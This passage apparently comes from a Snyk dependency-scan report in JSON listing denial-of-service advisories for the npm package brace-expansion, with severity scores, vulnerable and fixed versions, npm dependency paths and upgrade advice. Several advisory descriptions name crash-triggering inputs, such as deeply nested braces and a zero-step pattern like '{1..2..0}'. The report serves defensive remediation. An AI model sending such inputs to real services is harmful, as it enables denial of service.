"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
"ignore-walk@7.0.0",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"npm-packlist@9.0.0",
